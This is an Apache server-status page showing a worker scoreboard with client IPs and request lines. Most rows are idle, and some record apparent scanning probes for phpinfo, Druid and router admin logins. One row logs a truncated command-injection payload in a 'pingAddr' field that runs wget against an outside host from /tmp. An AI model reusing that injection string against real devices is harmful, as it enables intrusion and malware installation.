__._W____.._........_........................................... ................................................................ ......................
Scoreboard Key:
"_" Waiting for Connection,
"S" Starting up,
"R" Reading Request,
"W" Sending Reply,
"K" Keepalive (read),
"D" DNS Lookup,
"C" Closing connection,
"L" Logging,
"G" Gracefully finishing,
"I" Idle cleanup of worker,
"." Open slot with no current process
| Srv | PID | Acc | M | CPU | SS | Req | Dur | Conn | Child | Slot | Client | Protocol | VHost | Request |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 0-40 | 320090 | 0/15/3333 | _ | 0.04 | 379 | 0 | 53578 | 0.0 | 0.03 | 9.98 | 20.65.195.121 | http/1.1 | localhost:80 | GET /druid/index.html HTTP/1.1 |
| 1-40 | 314388 | 0/93/3549 | _ | 0.08 | 150 | 1 | 34855 | 0.0 | 0.20 | 9.93 | 172.69.7.4 | http/1.1 | localhost:80 | GET /phpinfo.php HTTP/1.1 |
| 2-40 | - | 0/0/2797 | . | 0.00 | 27073 | 0 | 22035 | 0.0 | 0.00 | 8.28 | ::1 | http/1.1 | ||
| 3-40 | 316353 | 0/36/2866 | _ | 0.05 | 130 | 0 | 11965 | 0.0 | 0.09 | 8.46 | 5.182.209.113 | http/1.1 | ||
| 4-40 | 316354 | 0/34/3145 | W | 0.06 | 0 | 0 | 55274 | 0.0 | 0.08 | 8.83 | 172.71.255.80 | http/1.1 | localhost:80 | GET /server-status HTTP/1.1 |
| 5-40 | 316355 | 0/49/2959 | _ | 0.06 | 66 | 0 | 11427 | 0.0 | 0.10 | 8.35 | 204.76.203.206 | http/1.1 | localhost:80 | GET / HTTP/1.1 |
| 6-40 | 314389 | 0/62/2813 | _ | 0.07 | 1342 | 0 | 38044 | 0.0 | 0.09 | 7.56 | 104.248.142.207 | http/1.1 | ||
| 7-40 | 317430 | 0/29/2146 | _ | 0.04 | 1343 | 0 | 11117 | 0.0 | 0.06 | 6.20 | 104.248.142.207 | http/1.1 | ||
| 8-40 | 317431 | 0/26/2245 | _ | 0.05 | 1343 | 0 | 34496 | 0.0 | 0.06 | 6.38 | 104.248.142.207 | http/1.1 | ||
| 9-39 | - | 0/0/2428 | . | 0.00 | 96725 | 1 | 5530 | 0.0 | 0.00 | 6.33 | ::1 | http/1.1 | ||
| 10-39 | - | 0/0/1457 | . | 0.00 | 96726 | 1 | 14851 | 0.0 | 0.00 | 4.97 | ::1 | http/1.1 | ||
| 11-40 | 314387 | 0/48/1708 | _ | 0.07 | 151 | 0 | 29571 | 0.0 | 0.07 | 5.09 | 108.162.216.69 | http/1.1 | localhost:80 | GET /robots.txt HTTP/1.1 |
| 12-39 | - | 0/0/1387 | . | 0.00 | 96724 | 1 | 11313 | 0.0 | 0.00 | 5.39 | ::1 | http/1.1 | ||
| 13-40 | - | 0/0/1247 | . | 0.00 | 48394 | 0 | 4470 | 0.0 | 0.00 | 4.65 | ::1 | http/1.1 | ||
| 14-39 | - | 0/0/651 | . | 0.00 | 126611 | 1 | 1348 | 0.0 | 0.00 | 2.88 | ::1 | http/1.1 | ||
| 15-39 | - | 0/0/471 | . | 0.00 | 126613 | 1 | 302 | 0.0 | 0.00 | 1.85 | ::1 | http/1.1 | ||
| 16-39 | - | 0/0/321 | . | 0.00 | 126607 | 1 | 862 | 0.0 | 0.00 | 1.91 | ::1 | http/1.1 | ||
| 17-39 | - | 0/0/288 | . | 0.00 | 116104 | 0 | 2332 | 0.0 | 0.00 | 2.02 | ::1 | http/1.1 | ||
| 18-39 | - | 0/0/274 | . | 0.00 | 126606 | 1 | 1958 | 0.0 | 0.00 | 2.17 | ::1 | http/1.1 | ||
| 19-39 | - | 0/0/482 | . | 0.00 | 98729 | 0 | 3589 | 0.0 | 0.00 | 2.50 | ::1 | http/1.1 | ||
| 20-40 | 314391 | 0/53/629 | _ | 0.10 | 1342 | 0 | 3533 | 0.0 | 0.15 | 3.06 | 104.248.142.207 | http/1.1 | ||
| 21-39 | - | 0/0/211 | . | 0.00 | 126615 | 0 | 4616 | 0.0 | 0.00 | 1.70 | ::1 | http/1.1 | ||
| 22-39 | - | 0/0/650 | . | 0.00 | 70787 | 0 | 2206 | 0.0 | 0.00 | 2.90 | 20.42.92.153 | http/1.1 | ||
| 23-39 | - | 0/0/306 | . | 0.00 | 126614 | 0 | 3973 | 0.0 | 0.00 | 2.50 | ::1 | http/1.1 | ||
| 24-39 | - | 0/0/385 | . | 0.00 | 70787 | 0 | 2509 | 0.0 | 0.00 | 1.92 | 204.76.203.206 | http/1.1 | localhost:80 | GET / HTTP/1.1 |
| 25-36 | - | 0/0/334 | . | 0.00 | 406569 | 0 | 3433 | 0.0 | 0.00 | 2.23 | ::1 | http/1.1 | ||
| 26-35 | - | 0/0/263 | . | 0.00 | 425882 | 1 | 870 | 0.0 | 0.00 | 1.67 | ::1 | http/1.1 | ||
| 27-38 | - | 0/0/546 | . | 0.00 | 171415 | 0 | 775 | 0.0 | 0.00 | 1.81 | ::1 | http/1.1 | ||
| 28-35 | - | 0/0/250 | . | 0.00 | 425868 | 0 | 86 | 0.0 | 0.00 | 1.14 | ::1 | http/1.1 | ||
| 29-35 | - | 0/0/58 | . | 0.00 | 425867 | 0 | 634 | 0.0 | 0.00 | 0.92 | ::1 | http/1.1 | ||
| 30-35 | - | 0/0/268 | . | 0.00 | 416387 | 0 | 970 | 0.0 | 0.00 | 1.16 | 51.158.54.10 | http/1.1 | ||
| 31-35 | - | 0/0/97 | . | 0.00 | 425865 | 0 | 42 | 0.0 | 0.00 | 0.99 | ::1 | http/1.1 | ||
| 32-35 | - | 0/0/79 | . | 0.00 | 425853 | 0 | 38 | 0.0 | 0.00 | 0.98 | ::1 | http/1.1 | ||
| 33-35 | - | 0/0/60 | . | 0.00 | 416387 | 0 | 1370 | 0.0 | 0.00 | 0.91 | 194.165.16.166 | http/1.1 | ||
| 34-35 | - | 0/0/49 | . | 0.00 | 425863 | 0 | 373 | 0.0 | 0.00 | 0.59 | ::1 | http/1.1 | ||
| 35-35 | - | 0/0/142 | . | 0.00 | 425862 | 0 | 48 | 0.0 | 0.00 | 0.83 | ::1 | http/1.1 | ||
| 36-35 | - | 0/0/85 | . | 0.00 | 425869 | 0 | 1760 | 0.0 | 0.00 | 0.74 | ::1 | http/1.1 | ||
| 37-35 | - | 0/0/91 | . | 0.00 | 416387 | 0 | 722 | 0.0 | 0.00 | 0.92 | 193.142.147.209 | http/1.1 | localhost:80 | Get /login.asp HTTP/1.1 |
| 38-35 | - | 0/0/73 | . | 0.00 | 416387 | 0 | 1059 | 0.0 | 0.00 | 0.58 | 193.142.147.209 | http/1.1 | localhost:80 | pingAddr=1.1.1.1%7Cecho+%24%28cd%20/tmp;wget%20http://94.154.35 |
| 39-35 | - | 0/0/212 | . | 0.00 | 425854 | 0 | 620 | 0.0 | 0.00 | 0.90 | ::1 | http/1.1 | ||
| 40-35 | - | 0/0/123 | . | 0.00 | 416387 | 0 | 4033 | 0.0 | 0.00 | 0.89 | 193.142.147.209 | http/1.1 | localhost:80 | POST /boaform/admin/formLogin HTTP/1.1 |
| 41-29 | - | 0/0/76 | . | 0.00 | 999652 | 0 | 26 | 0.0 | 0.00 | 0.31 | ::1 | http/1.1 | ||
| 42-29 | - | 0/0/36 | . | 0.00 | 999651 | 2 | 24 | 0.0 | 0.00 | 0.19 | ::1 | http/1.1 | ||
| 43-29 | - | 0/0/89 | . | 0.00 | 945208 | 0 | 54 | 0.0 | 0.00 | 0.36 | ::1 | http/1.1 | ||
| 44-28 | - | 0/0/8 | . | 0.00 | 1054883 | 1 | 9 | 0.0 | 0.00 | 0.13 | ::1 | http/1.1 | ||
| 45-26 | - | 0/0/29 | . | 0.00 | 1240352 | 0 | 8 | 0.0 | 0.00 | 0.04 | ::1 | http/1.1 | ||
| 46-26 | - | 0/0/68 | . | 0.00 | 1240353 | 0 | 70 | 0.0 | 0.00 | 0.10 | ::1 | http/1.1 | ||
| 47-26 | - | 0/0/16 | . | 0.00 | 1240351 | 0 | 2 | 0.0 | 0.00 | 0.02 | ::1 | http/1.1 | ||
| 48-26 | - | 0/0/55 | . | 0.00 | 1240350 | 0 | 7 | 0.0 | 0.00 | 0.05 | ::1 | http/1.1 | ||
| 49-26 | - | 0/0/46 | . | 0.00 | 1240347 | 0 | 6 | 0.0 | 0.00 | 0.04 | ::1 | http/1.1 | ||
| 50-26 | - | 0/0/190 | . | 0.00 | 1240343 | 0 | 77 | 0.0 | 0.00 | 0.43 | ::1 | http/1.1 | ||
| 51-26 | - | 0/0/15 | . | 0.00 | 1240346 | 0 | 2 | 0.0 | 0.00 | 0.02 | ::1 | http/1.1 | ||
| 52-26 | - | 0/0/84 | . | 0.00 | 1240345 | 0 | 22 | 0.0 | 0.00 | 0.10 | ::1 | http/1.1 | ||
| 53-26 | - | 0/0/96 | . | 0.00 | 1240344 | 0 | 13 | 0.0 | 0.00 | 0.10 | ::1 | http/1.1 | ||
| 54-26 | - | 0/0/138 | . | 0.00 | 1240348 | 0 | 60 | 0.0 | 0.00 | 0.38 | ::1 | http/1.1 | ||
| 55-26 | - | 0/0/78 | . | 0.00 | 1240338 | 0 | 9 | 0.0 | 0.00 | 0.08 | ::1 | http/1.1 | ||
| 56-26 | - | 0/0/92 | . | 0.00 | 1240341 | 0 | 12 | 0.0 | 0.00 | 0.10 | ::1 | http/1.1 | ||
| 57-26 | - | 0/0/31 | . | 0.00 | 1240342 | 0 | 4 | 0.0 | 0.00 | 0.03 | ::1 | http/1.1 | ||
| 58-26 | - | 0/0/136 | . | 0.00 | 1240339 | 0 | 21 | 0.0 | 0.00 | 0.12 | ::1 | http/1.1 | ||
| 59-26 | - | 0/0/14 | . | 0.00 | 1240340 | 0 | 2 | 0.0 | 0.00 | 0.02 | ::1 | http/1.1 | ||
| 60-26 | - | 0/0/21 | . | 0.00 | 1240337 | 0 | 3 | 0.0 | 0.00 | 0.02 | ::1 | http/1.1 | ||
| 61-26 | - | 0/0/39 | . | 0.00 | 1240336 | 0 | 5 | 0.0 | 0.00 | 0.04 | ::1 | http/1.1 | ||
| 62-26 | - | 0/0/35 | . | 0.00 | 1240331 | 0 | 5 | 0.0 | 0.00 | 0.04 | ::1 | http/1.1 | ||
| 63-26 | - | 0/0/33 | . | 0.00 | 1240330 | 0 | 9 | 0.0 | 0.00 | 0.06 | ::1 | http/1.1 | ||
| 64-27 | - | 0/0/108 | . | 0.00 | 1170175 | 0 | 206 | 0.0 | 0.00 | 0.19 | ::1 | http/1.1 | ||
| 65-26 | - | 0/0/13 | . | 0.00 | 1240335 | 0 | 2 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
| 66-26 | - | 0/0/12 | . | 0.00 | 1240333 | 0 | 2 | 0.0 | 0.00 | 0.02 | ::1 | http/1.1 | ||
| 67-26 | - | 0/0/108 | . | 0.00 | 1240332 | 0 | 18 | 0.0 | 0.00 | 0.12 | ::1 | http/1.1 | ||
| 68-26 | - | 0/0/8 | . | 0.00 | 1240334 | 0 | 1 | 0.0 | 0.00 | 0.02 | ::1 | http/1.1 | ||
| 69-27 | - | 0/0/251 | . | 0.00 | 1169986 | 0 | 286 | 0.0 | 0.00 | 0.28 | ::1 | http/1.1 | ||
| 70-26 | - | 0/0/105 | . | 0.00 | 1240327 | 1 | 17 | 0.0 | 0.00 | 0.11 | ::1 | http/1.1 | ||
| 71-26 | - | 0/0/8 | . | 0.00 | 1240328 | 1 | 2 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
| 72-26 | - | 0/0/108 | . | 0.00 | 1240325 | 0 | 19 | 0.0 | 0.00 | 0.10 | ::1 | http/1.1 | ||
| 73-26 | - | 0/0/5 | . | 0.00 | 1240322 | 1 | 3 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 74-26 | - | 0/0/6 | . | 0.00 | 1240363 | 0 | 2 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
| 75-26 | - | 0/0/8 | . | 0.00 | 1240365 | 0 | 1 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
| 76-27 | - | 0/0/217 | . | 0.00 | 1145161 | 0 | 238 | 0.0 | 0.00 | 0.23 | ::1 | http/1.1 | ||
| 77-26 | - | 0/0/8 | . | 0.00 | 1240326 | 0 | 7 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
| 78-26 | - | 0/0/25 | . | 0.00 | 1240323 | 0 | 10 | 0.0 | 0.00 | 0.02 | ::1 | http/1.1 | ||
| 79-26 | - | 0/0/44 | . | 0.00 | 1240324 | 0 | 16 | 0.0 | 0.00 | 0.03 | ::1 | http/1.1 | ||
| 80-26 | - | 0/0/4 | . | 0.00 | 1240321 | 0 | 7 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 81-26 | - | 0/0/3 | . | 0.00 | 1240320 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 82-26 | - | 0/0/5 | . | 0.00 | 1240315 | 0 | 2 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 83-26 | - | 0/0/3 | . | 0.00 | 1240319 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 84-26 | - | 0/0/4 | . | 0.00 | 1240314 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 85-26 | - | 0/0/5 | . | 0.00 | 1240312 | 0 | 1 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 86-26 | - | 0/0/3 | . | 0.00 | 1240317 | 0 | 1 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 87-26 | - | 0/0/3 | . | 0.00 | 1240318 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 88-26 | - | 0/0/3 | . | 0.00 | 1240311 | 0 | 3 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
| 89-26 | - | 0/0/3 | . | 0.00 | 1240316 | 0 | 1 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
| 90-26 | - | 0/0/3 | . | 0.00 | 1240313 | 0 | 1 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 91-26 | - | 0/0/3 | . | 0.00 | 1240308 | 0 | 1 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 92-26 | - | 0/0/3 | . | 0.00 | 1240310 | 0 | 1 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 93-26 | - | 0/0/3 | . | 0.00 | 1240309 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 94-26 | - | 0/0/3 | . | 0.00 | 1240304 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 95-26 | - | 0/0/3 | . | 0.00 | 1240307 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 96-26 | - | 0/0/3 | . | 0.00 | 1240305 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 97-26 | - | 0/0/3 | . | 0.00 | 1240306 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 98-26 | - | 0/0/3 | . | 0.00 | 1240301 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 99-26 | - | 0/0/3 | . | 0.00 | 1240302 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 100-26 | - | 0/0/3 | . | 0.00 | 1240300 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 101-26 | - | 0/0/3 | . | 0.00 | 1240303 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 102-26 | - | 0/0/2 | . | 0.00 | 1240295 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 103-26 | - | 0/0/2 | . | 0.00 | 1240299 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 104-26 | - | 0/0/2 | . | 0.00 | 1240296 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 105-26 | - | 0/0/82 | . | 0.00 | 1208541 | 0 | 18 | 0.0 | 0.00 | 0.08 | ::1 | http/1.1 | ||
| 106-21 | - | 0/0/1 | . | 0.00 | 1670622 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 107-21 | - | 0/0/1 | . | 0.00 | 1670620 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 108-21 | - | 0/0/1 | . | 0.00 | 1670621 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 109-21 | - | 0/0/1 | . | 0.00 | 1670619 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 110-21 | - | 0/0/1 | . | 0.00 | 1670617 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 111-21 | - | 0/0/1 | . | 0.00 | 1670616 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 112-21 | - | 0/0/1 | . | 0.00 | 1670614 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 113-21 | - | 0/0/1 | . | 0.00 | 1670615 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 114-24 | - | 0/0/246 | . | 0.00 | 1424490 | 1 | 386 | 0.0 | 0.00 | 0.65 | ::1 | http/1.1 | ||
| 115-22 | - | 0/0/274 | . | 0.00 | 1593483 | 0 | 68 | 0.0 | 0.00 | 0.22 | ::1 | http/1.1 | ||
| 116-21 | - | 0/0/1 | . | 0.00 | 1670613 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 117-21 | - | 0/0/4 | . | 0.00 | 1669449 | 0 | 2 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
| 118-22 | - | 0/0/67 | . | 0.00 | 1598988 | 0 | 21 | 0.0 | 0.00 | 0.10 | ::1 | http/1.1 | ||
| 119-24 | - | 0/0/248 | . | 0.00 | 1424489 | 1 | 279 | 0.0 | 0.00 | 0.65 | ::1 | http/1.1 | ||
| 120-22 | - | 0/0/179 | . | 0.00 | 1577782 | 0 | 46 | 0.0 | 0.00 | 0.17 | ::1 | http/1.1 | ||
| 121-21 | - | 0/0/24 | . | 0.00 | 1625987 | 0 | 10 | 0.0 | 0.00 | 0.03 | 185.242.226.124 | http/1.1 | ||
| 122-21 | - | 0/0/31 | . | 0.00 | 1625987 | 0 | 11 | 0.0 | 0.00 | 0.04 | 185.242.226.124 | http/1.1 | ||
| 123-21 | - | 0/0/46 | . | 0.00 | 1669452 | 0 | 14 | 0.0 | 0.00 | 0.04 | ::1 | http/1.1 | ||
| 125-21 | - | 0/0/4 | . | 0.00 | 1669451 | 0 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 |
| Srv | Child Server number - generation |
|---|---|
| PID | OS process ID |
| Acc | Number of accesses this connection / this child / this slot |
| M | Mode of operation |
| CPU | CPU usage, number of seconds |
| SS | Seconds since beginning of most recent request |
| Req | Milliseconds required to process most recent request |
| Dur | Sum of milliseconds required to process all requests |
| Conn | Kilobytes transferred this connection |
| Child | Megabytes transferred this child |
| Slot | Total megabytes transferred this slot |
| SSL/TLS Session Cache Status: |
|
cache type: SHMCB, shared memory: 512000 bytes, current entries: 0 subcaches: 32, indexes per subcache: 88 index usage: 0%, cache usage: 0% total entries stored since starting: 214 total entries replaced since starting: 0 total entries expired since starting: 213 total (pre-expiry) entries scrolled out of the cache: 0 total retrieves since starting: 0 hit, 39 miss total removes since starting: 1 hit, 3 miss |